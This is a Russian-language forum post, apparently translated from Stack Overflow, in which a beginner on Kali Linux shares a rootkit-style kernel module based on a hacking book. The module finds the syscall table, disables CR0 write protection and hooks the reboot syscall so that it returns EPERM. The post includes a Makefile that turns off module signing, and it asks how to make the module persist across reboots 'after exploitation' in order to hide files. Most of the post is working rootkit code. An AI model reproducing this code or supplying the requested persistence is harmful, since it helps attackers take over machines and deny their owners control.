Как мне сохранить установленный модуль ядра?Linux

Ответить
Anonymous
 Как мне сохранить установленный модуль ядра?

Сообщение Anonymous »

Я новичок в Linux, так что прошу прощения. Запускаю Kali Linux 6.8.11-amd64.
Я читал книгу по хакерству и наткнулся на раздел, посвященный руткитам. В частности, создание программы C для замены функции перезагрузки в таблице системных вызовов ядра на модифицированную, что означает возврат константы EPERM, которая сообщает, что пользователь не соответствует требованиям для перезагрузки своей системы. Это будет означать, что пользователь не сможет перезагрузить свое ядро, если у него установлен модуль .ko, несмотря на то, что он может попытаться перезагрузиться. Вот мой модуль.

Код: Выделить всё

#include [*]
#include 
#include 
#include 
#include 

// Manually set the write bit
static void my_write_cr0(unsigned long value) {
asm volatile("mov %0, %%cr0" :: "r"(value) : "memory");
}

#define disable_write_protection() my_write_cr0(read_cr0() & (~0x10000))
#define enable_write_protection() my_write_cr0(read_cr0() | (0x10000))
#define enable_reboot 0

unsigned long *sys_call_table_address;
asmlinkage long (*old_reboot_sys_call)(int, int, int, void *);

static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};

typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);

unsigned long * get_system_call_table_address(void) {
kallsyms_lookup_name_t kallsyms_lookup_name;
int ret = register_kprobe(&kp);
if (ret < 0) {
printk(KERN_ALERT "EHROOTKIT: register_kprobe failed, returned %d\n", ret);
return NULL;
}
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
if (!kallsyms_lookup_name) {
printk(KERN_ALERT "EHROOTKIT: kallsyms_lookup_name not found\n");
return NULL;
}
return (unsigned long *)kallsyms_lookup_name("sys_call_table");
}

asmlinkage long hackers_reboot(int magic1, int magic2, int cmd, void *arg) {
if (enable_reboot) {
return old_reboot_sys_call(magic1, magic2, cmd, arg);
}
printk(KERN_NOTICE "EHROOTKIT: Blocked reboot Call");
return -EPERM;
}

void hook_sys_call(void) {
old_reboot_sys_call = (void *)sys_call_table_address[__NR_reboot];
disable_write_protection();
sys_call_table_address[__NR_reboot] = (unsigned long)hackers_reboot;
enable_write_protection();
printk(KERN_NOTICE "EHROOTKIT: Hooked reboot Call");
}

void restore_reboot_sys_call(void) {
disable_write_protection();
sys_call_table_address[__NR_reboot] = (unsigned long)old_reboot_sys_call;
enable_write_protection();
}

static int __init startup(void) {
printk(KERN_ALERT "EHROOTKIT: ATTEMPTING TO HOOK REBOOT CALL\n");
sys_call_table_address = get_system_call_table_address();
if (!sys_call_table_address) {
printk(KERN_ALERT "EHROOTKIT: Failed to get sys_call_table_address\n");
return -1;
}
hook_sys_call();
return 0;
}

static void __exit shutdown(void) {
restore_reboot_sys_call();
}

module_init(startup);
module_exit(shutdown);
MODULE_LICENSE("GPL");
К вашему сведению, я отключил CONFIG_MODULE_SIG и CONFIG_MODULE_SIG_ALL в моем Makefile из-за предыдущих проблем из-за сбоя проверки модуля: отсутствует подпись и/или необходимый ключ - портит ядро.< /p>

Код: Выделить всё

CONFIG_MODULE_SIG=n
CONFIG_MODULE_SIG_ALL=n
obj-m += reboot_blocker.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
После установки модуля ядра мой dmesg говорит: [2206.406603] EHROOTKIT: Подключенный вызов перезагрузки. Я также не получал проблем с порчей ядер или сигнатур.
Пока всё было хорошо, пока этого не произошло. Я перезагружаюсь через терминал, и в книге утверждается, что должен перезагружаться только графический интерфейс, но не ядро. Я пингую Кали с другого устройства, и пинги приостанавливаются. После этого при выполнении sudo lsmod модуль нигде не виден. Проверка dmesg показывает, что ядро ​​явно перезагружено, сообщения от EHROOTKIT нет. Возникает вопрос(ы):
  • Можно ли сохранить установленные модули ядра после «перезагрузки»?
  • Если да, то виноват ли мой модуль в неправильном кодировании? Я что-то упускаю?
Это очень важно для меня, поскольку после эксплуатации для поддержания устойчивости может потребоваться скрыть свои файлы и даже запретить ядру удалять модули.

Подробнее здесь: https://stackoverflow.com/questions/787 ... -installed
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Linux»